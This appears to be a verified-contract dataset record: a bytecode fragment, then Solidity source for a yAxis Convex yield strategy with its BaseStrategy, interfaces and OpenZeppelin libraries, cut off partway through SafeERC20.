019061076991906109bc565b96506107779050868a6107d6565b965050505050509550959350505050565b600080610797856103e5610808565b905060006107a58285610808565b905060006107bf836107b9886103e8610808565b9061083f565b90508082816107ca57fe5b04979650505050505050565b808203828111156108025760405162461bcd60e51b81526004016107f990610ae4565b60405180910390fd5b92915050565b60008115806108235750508082028282828161082057fe5b04145b6108025760405162461bcd60e51b81526004016107f990610b4a565b818101818110156108025760405162461bcd60e51b81526004016107f990610b13565b600060208284031215610873578081fd5b81518015158114610882578182fd5b9392505050565b60008060008060008060c087890312156108a1578182fd5b86356108ac81610ba8565b955060208701356108bc81610ba8565b945060408701356108cc81610ba8565b935060608701356108dc81610ba8565b9598949750929560808101359460a0909101359350915050565b600080600080600060a0868803121561090d578081fd5b853561091881610ba8565b9450602086013561092881610ba8565b9350604086013561093881610ba8565b94979396509394606081013594506080013592915050565b600080600060608486031215610964578283fd5b835161096f81610bc0565b602085015190935061098081610bc0565b604085015190925063ffffffff81168114610999578182fd5b809150509250925092565b6000602082840312156109b5578081fd5b5051919050565b600080604083850312156109ce578182fd5b505080516020909101519092909150565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0391909116815260200190565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b60008582526020858184015260018060a01b0385166040840152608060608401528351806080850152825b81811015610a875785810183015185820160a001528201610a6b565b81811115610a98578360a083870101525b50601f01601f19169290920160a0019695505050505050565b600f95860b81529390940b6020840152604083019190915260608201526001600160a01b03909116608082015260a00190565b602080825260159082015274426f72696e674d6174683a20556e646572666c6f7760581b604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b928352600f9190910b6020830152604082015260600190565b918252602082015260400190565b6001600160a01b0381168114610bbd57600080fd5b50565b6001600160701b0381168114610bbd57600080fdfea26469706673582212209f9d5f384e6bc0de1e735511f498f139ddfe1bdf0c01edc26c4cb84a11d70c7364736f6c634300060c0033
[ 5, 16, 4, 17 ]
0xf314e2Dc4AfC31C61A253643E0CDc0C3d64b20AF
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import '@openzeppelin/contracts/math/SafeMath.sol'; import '../interfaces/IConvexVault.sol'; import '../interfaces/ExtendedIERC20.sol'; import '../interfaces/IStableSwapPool.sol'; import '../interfaces/IStableSwap2Pool.sol'; import './BaseStrategy.sol'; import '../interfaces/ICVXMinter.sol'; import '../interfaces/IHarvester.sol'; contract GeneralConvexStrategy is BaseStrategy { using SafeMath for uint8; address public immutable crv; address public immutable cvx; uint256 public immutable pid; IConvexVault public immutable convexVault; address public immutable cvxDepositLP; IConvexRewards public immutable crvRewards; address public immutable stableSwapPool; address[] public tokens; uint8[] public decimalMultiples; /** * @param _name The strategy name * @param _want The desired token of the strategy * @param _crv The address of CRV * @param _cvx The address of CVX * @param _weth The address of WETH * @param _pid The pool id of convex * @param _coinCount The number of coins in the pool * @param _convexVault The address of the convex vault * @param _stableSwapPool The address of the stable swap pool * @param _controller The address of the controller * @param _manager The address of the manager * @param _routerArray The addresses of routers for swapping tokens */ constructor( string memory _name, address _want, address _crv, address _cvx, address _weth, uint256 _pid, uint256 _coinCount, IConvexVault _convexVault, address _stableSwapPool, address _controller, address _manager, address[] memory _routerArray // [1] should be set to Uniswap router ) public BaseStrategy(_name, _controller, _manager, _want, _weth, _routerArray) { require(_coinCount == 2 || _coinCount == 3, '_coinCount should be 2 or 3'); require(address(_crv) != address(0), '!_crv'); require(address(_cvx) != address(0), '!_cvx'); require(address(_convexVault) != address(0), '!_convexVault'); require(address(_stableSwapPool) != address(0), '!_stableSwapPool'); (, address _token, , address _crvRewards, , ) = _convexVault.poolInfo(_pid); crv = _crv; cvx = _cvx; pid = _pid; convexVault = _convexVault; cvxDepositLP = _token; crvRewards = IConvexRewards(_crvRewards); stableSwapPool = _stableSwapPool; for (uint256 i = 0; i < _coinCount; i++) { tokens.push(IStableSwapPool(_stableSwapPool).coins(i)); decimalMultiples.push(18 - ExtendedIERC20(tokens[i]).decimals()); IERC20(tokens[i]).safeApprove(_stableSwapPool, type(uint256).max); } IERC20(_want).safeApprove(address(_convexVault), type(uint256).max); IERC20(_want).safeApprove(address(_stableSwapPool), type(uint256).max); _setApprovals(_cvx, _crv, _routerArray); } function _setApprovals( address _cvx, address _crv, address[] memory _routerArray ) internal { uint _routerArrayLength = _routerArray.length; for(uint i=0; i<_routerArrayLength; i++) { address _router = _routerArray[i]; IERC20(_crv).safeApprove(address(_router), 0); IERC20(_crv).safeApprove(address(_router), type(uint256).max); IERC20(_cvx).safeApprove(address(_router), 0); IERC20(_cvx).safeApprove(address(_router), type(uint256).max); } } function _deposit() internal override { convexVault.depositAll(pid, true); } function _claimReward() internal { crvRewards.getReward(address(this), true); } function _addLiquidity(uint256 _estimate) internal { if (tokens.length == 2) { uint256[2] memory amounts; amounts[0] = IERC20(tokens[0]).balanceOf(address(this)); amounts[1] = IERC20(tokens[1]).balanceOf(address(this)); IStableSwap2Pool(stableSwapPool).add_liquidity(amounts, _estimate); return; } uint256[3] memory amounts; amounts[0] = IERC20(tokens[0]).balanceOf(address(this)); amounts[1] = IERC20(tokens[1]).balanceOf(address(this)); amounts[2] = IERC20(tokens[2]).balanceOf(address(this)); IStableSwap3Pool(stableSwapPool).add_liquidity(amounts, _estimate); } function getMostPremium() public view returns (address, uint256) { uint256 balance0 = IStableSwap3Pool(stableSwapPool).balances(0).mul( 10**(decimalMultiples[0]) ); uint256 balance1 = IStableSwap3Pool(stableSwapPool).balances(1).mul( 10**(decimalMultiples[1]) ); if (tokens.length == 2) { if (balance0 > balance1) { return (tokens[1], 1); } return (tokens[0], 0); } uint256 balance2 = IStableSwap3Pool(stableSwapPool).balances(2).mul( 10**(decimalMultiples[2]) ); if (balance0 < balance1 && balance0 < balance2) { return (tokens[0], 0); } if (balance1 < balance0 && balance1 < balance2) { return (tokens[1], 1); } if (balance2 < balance0 && balance2 < balance1) { return (tokens[2], 2); } return (tokens[0], 0); } function _harvest(uint256[] calldata _estimates) internal override { _claimReward(); uint256 _cvxBalance = IERC20(cvx).balanceOf(address(this)); if (_cvxBalance > 0) { _swapTokens(cvx, weth, _cvxBalance, _estimates[0]); } uint256 _extraRewardsLength = crvRewards.extraRewardsLength(); for (uint256 i = 0; i < _extraRewardsLength; i++) { address _rewardToken = IConvexRewards(crvRewards.extraRewards(i)).rewardToken(); uint256 _extraRewardBalance = IERC20(_rewardToken).balanceOf(address(this)); if (_extraRewardBalance > 0) { _swapTokens(_rewardToken, weth, _extraRewardBalance, _estimates[i+1]); } } // RouterIndex 1 sets router to Uniswap to swap WETH->YAXIS uint256 _remainingWeth = _payHarvestFees(crv, _estimates[_extraRewardsLength + 1], _estimates[_extraRewardsLength + 2], 1); if (_remainingWeth > 0) { (address _targetCoin, ) = getMostPremium(); _swapTokens(weth, _targetCoin, _remainingWeth, _estimates[_extraRewardsLength + 3]); _addLiquidity(_estimates[_extraRewardsLength + 4]); if (balanceOfWant() > 0) { _deposit(); } } } function getEstimates() external view returns (uint256[] memory) { uint rewardsLength = crvRewards.extraRewardsLength(); uint256[] memory _estimates = new uint256[](rewardsLength.add(5)); address[] memory _path = new address[](2); uint256[] memory _amounts; uint256 _notSlippage = ONE_HUNDRED_PERCENT.sub(IHarvester(manager.harvester()).slippage()); uint256 wethAmount; // Estimates for CVX -> WETH _path[0] = cvx; _path[1] = weth; _amounts = router.getAmountsOut( // Calculating CVX minted (crvRewards.earned(address(this))) .mul(ICVXMinter(cvx).totalCliffs().sub(ICVXMinter(cvx).maxSupply().div(ICVXMinter(cvx).reductionPerCliff()))) .div(ICVXMinter(cvx).totalCliffs()), _path ); _estimates[0]= _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT); wethAmount += _estimates[0]; // Estimates for extra rewards -> WETH if (rewardsLength > 0) { for (uint256 i = 0; i < rewardsLength; i++) { _path[0] = IConvexRewards(crvRewards.extraRewards(i)).rewardToken(); _path[1] = weth; _amounts = router.getAmountsOut( IConvexRewards(crvRewards.extraRewards(i)).earned(address(this)), _path ); _estimates[i + 1] = _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT); wethAmount += _estimates[i + 1]; } } // Estimates for CRV -> WETH _path[0] = crv; _path[1] = weth; _amounts = router.getAmountsOut( crvRewards.earned(address(this)), _path ); _estimates[rewardsLength + 1] = _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT); wethAmount += _estimates[rewardsLength + 1]; // Estimates WETH -> YAXIS _path[0] = weth; _path[1] = manager.yaxis(); _amounts = ISwap(routerArray[1]).getAmountsOut(wethAmount.mul(manager.treasuryFee()).div(ONE_HUNDRED_PERCENT), _path); // Set to UniswapV2 to calculate output for YAXIS _estimates[rewardsLength + 2] = _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT); // Estimates for WETH -> Target Coin (address _targetCoin,) = getMostPremium(); _path[0] = weth; _path[1] = _targetCoin; _amounts = router.getAmountsOut( wethAmount - _amounts[0], _path ); _estimates[rewardsLength + 3] = _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT); // Estimates for Target Coin -> CRV LP // Supports up to 18 decimals _estimates[rewardsLength + 4] = _amounts[1].mul(_notSlippage).div(ONE_HUNDRED_PERCENT).mul(10**(18-ExtendedIERC20(_targetCoin).decimals())).div(IStableSwapPool(stableSwapPool).get_virtual_price()); return _estimates; } function _withdrawAll() internal override { convexVault.withdrawAll(pid); } function _withdraw(uint256 _amount) internal override { convexVault.withdraw(pid, _amount); } function balanceOfPool() public view override returns (uint256) { return IERC20(cvxDepositLP).balanceOf(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IConvexVault { function poolInfo(uint256 pid) external view returns ( address lptoken, address token, address gauge, address crvRewards, address stash, bool shutdown ); function deposit( uint256 pid, uint256 amount, bool stake ) external returns (bool); function depositAll(uint256 pid, bool stake) external returns (bool); function withdraw(uint256 pid, uint256 amount) external returns (bool); function withdrawAll(uint256 pid) external returns (bool); } interface IConvexRewards { function getReward(address _account, bool _claimExtras) external returns (bool); function extraRewardsLength() external view returns (uint256); function extraRewards(uint256 _pid) external view returns (address); function rewardToken() external view returns (address); function earned(address _account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; interface ExtendedIERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } // SPDX-License-Identifier: MIT // solhint-disable func-name-mixedcase // solhint-disable var-name-mixedcase pragma solidity 0.6.12; interface IStableSwapPool { function coins(uint256) external view returns (address); function get_virtual_price() external view returns (uint); } // SPDX-License-Identifier: MIT // solhint-disable func-name-mixedcase // solhint-disable var-name-mixedcase pragma solidity 0.6.12; interface IStableSwap2Pool { function get_virtual_price() external view returns (uint256); function balances(uint256) external view returns (uint256); function get_dy( int128 i, int128 j, uint256 dx ) external view returns (uint256 dy); function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy ) external; function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_amount ) external; function calc_token_amount(uint256[2] calldata amounts, bool deposit) external view returns (uint256); function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IStableSwap3Pool.sol"; import "../interfaces/ISwap.sol"; import "../interfaces/IManager.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IController.sol"; /** * @title BaseStrategy * @notice The BaseStrategy is an abstract contract which all * yAxis strategies should inherit functionality from. It gives * specific security properties which make it hard to write an * insecure strategy. * @notice All state-changing functions implemented in the strategy * should be internal, since any public or externally-facing functions * are already handled in the BaseStrategy. * @notice The following functions must be implemented by a strategy: * - function _deposit() internal virtual; * - function _harvest() internal virtual; * - function _withdraw(uint256 _amount) internal virtual; * - function _withdrawAll() internal virtual; * - function balanceOfPool() public view override virtual returns (uint256); */ abstract contract BaseStrategy is IStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public constant ONE_HUNDRED_PERCENT = 10000; address public immutable override want; address public immutable override weth; address public immutable controller; IManager public immutable override manager; string public override name; address[] public routerArray; ISwap public override router; /** * @param _controller The address of the controller * @param _manager The address of the manager * @param _want The desired token of the strategy * @param _weth The address of WETH * @param _routerArray The addresses of routers for swapping tokens */ constructor( string memory _name, address _controller, address _manager, address _want, address _weth, address[] memory _routerArray ) public { name = _name; want = _want; controller = _controller; manager = IManager(_manager); weth = _weth; require(_routerArray.length > 0, "Must input at least one router"); routerArray = _routerArray; router = ISwap(_routerArray[0]); for(uint i = 0; i < _routerArray.length; i++) { IERC20(_weth).safeApprove(address(_routerArray[i]), 0); IERC20(_weth).safeApprove(address(_routerArray[i]), type(uint256).max); } } /** * GOVERNANCE-ONLY FUNCTIONS */ /** * @notice Approves a token address to be spent by an address * @param _token The address of the token * @param _spender The address of the spender * @param _amount The amount to spend */ function approveForSpender( IERC20 _token, address _spender, uint256 _amount ) external { require(msg.sender == manager.governance(), "!governance"); _token.safeApprove(_spender, 0); _token.safeApprove(_spender, _amount); } /** * @notice Sets the address of the ISwap-compatible router * @param _routerArray The addresses of routers * @param _tokenArray The addresses of tokens that need to be approved by the strategy */ function setRouter( address[] calldata _routerArray, address[] calldata _tokenArray ) external { require(msg.sender == manager.governance(), "!governance"); routerArray = _routerArray; router = ISwap(_routerArray[0]); address _router; uint256 _routerLength = _routerArray.length; uint256 _tokenArrayLength = _tokenArray.length; for(uint i = 0; i < _routerLength; i++) { _router = _routerArray[i]; IERC20(weth).safeApprove(_router, 0); IERC20(weth).safeApprove(_router, type(uint256).max); for(uint j = 0; j < _tokenArrayLength; j++) { IERC20(_tokenArray[j]).safeApprove(_router, 0); IERC20(_tokenArray[j]).safeApprove(_router, type(uint256).max); } } } /** * @notice Sets the default ISwap-compatible router * @param _routerIndex Gets the address of the router from routerArray */ function setDefaultRouter( uint256 _routerIndex ) external { require(msg.sender == manager.governance(), "!governance"); router = ISwap(routerArray[_routerIndex]); } /** * CONTROLLER-ONLY FUNCTIONS */ /** * @notice Deposits funds to the strategy's pool */ function deposit() external override onlyController { _deposit(); } /** * @notice Harvest funds in the strategy's pool */ function harvest( uint256[] calldata _estimates ) external override onlyController { _harvest(_estimates); } /** * @notice Sends stuck want tokens in the strategy to the controller */ function skim() external override onlyController { IERC20(want).safeTransfer(controller, balanceOfWant()); } /** * @notice Sends stuck tokens in the strategy to the controller * @param _asset The address of the token to withdraw */ function withdraw( address _asset ) external override onlyController { require(want != _asset, "want"); IERC20 _assetToken = IERC20(_asset); uint256 _balance = _assetToken.balanceOf(address(this)); _assetToken.safeTransfer(controller, _balance); } /** * @notice Initiated from a vault, withdraws funds from the pool * @param _amount The amount of the want token to withdraw */ function withdraw( uint256 _amount ) external override onlyController { uint256 _balance = balanceOfWant(); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } IERC20(want).safeTransfer(controller, _amount); } /** * @notice Withdraws all funds from the strategy */ function withdrawAll() external override onlyController { _withdrawAll(); uint256 _balance = IERC20(want).balanceOf(address(this)); IERC20(want).safeTransfer(controller, _balance); } /** * EXTERNAL VIEW FUNCTIONS */ /** * @notice Returns the strategy's balance of the want token plus the balance of pool */ function balanceOf() external view override returns (uint256) { return balanceOfWant().add(balanceOfPool()); } /** * PUBLIC VIEW FUNCTIONS */ /** * @notice Returns the balance of the pool * @dev Must be implemented by the strategy */ function balanceOfPool() public view virtual override returns (uint256); /** * @notice Returns the balance of the want token on the strategy */ function balanceOfWant() public view override returns (uint256) { return IERC20(want).balanceOf(address(this)); } /** * INTERNAL FUNCTIONS */ function _deposit() internal virtual; function _harvest( uint256[] calldata _estimates ) internal virtual; function _payHarvestFees( address _poolToken, uint256 _estimatedWETH, uint256 _estimatedYAXIS, uint256 _routerIndex ) internal returns (uint256 _wethBal) { uint256 _amount = IERC20(_poolToken).balanceOf(address(this)); _swapTokens(_poolToken, weth, _amount, _estimatedWETH); _wethBal = IERC20(weth).balanceOf(address(this)); if (_wethBal > 0) { // get all the necessary variables in a single call ( address yaxis, address treasury, uint256 treasuryFee ) = manager.getHarvestFeeInfo(); uint256 _fee; // pay the treasury with YAX if (treasuryFee > 0 && treasury != address(0)) { _fee = _wethBal.mul(treasuryFee).div(ONE_HUNDRED_PERCENT); _swapTokensWithRouterIndex(weth, yaxis, _fee, _estimatedYAXIS, _routerIndex); IERC20(yaxis).safeTransfer(treasury, IERC20(yaxis).balanceOf(address(this))); } // return the remaining WETH balance _wethBal = IERC20(weth).balanceOf(address(this)); } } function _swapTokensWithRouterIndex( address _input, address _output, uint256 _amount, uint256 _expected, uint256 _routerIndex ) internal { address[] memory path = new address[](2); path[0] = _input; path[1] = _output; ISwap(routerArray[_routerIndex]).swapExactTokensForTokens( _amount, _expected, path, address(this), // The deadline is a hardcoded value that is far in the future. 1e10 ); } function _swapTokens( address _input, address _output, uint256 _amount, uint256 _expected ) internal { address[] memory path = new address[](2); path[0] = _input; path[1] = _output; router.swapExactTokensForTokens( _amount, _expected, path, address(this), // The deadline is a hardcoded value that is far in the future. 1e10 ); } function _withdraw( uint256 _amount ) internal virtual; function _withdrawAll() internal virtual; function _withdrawSome( uint256 _amount ) internal returns (uint256) { uint256 _before = IERC20(want).balanceOf(address(this)); _withdraw(_amount); uint256 _after = IERC20(want).balanceOf(address(this)); _amount = _after.sub(_before); return _amount; } /** * MODIFIERS */ modifier onlyStrategist() { require(msg.sender == manager.strategist(), "!strategist"); _; } modifier onlyController() { require(msg.sender == controller, "!controller"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface ICVXMinter { function maxSupply() external view returns (uint256); function totalCliffs() external view returns (uint256); function reductionPerCliff() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IHarvester { function addStrategy(address, address, uint256) external; function manager() external view returns (IManager); function removeStrategy(address, address, uint256) external; function slippage() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data 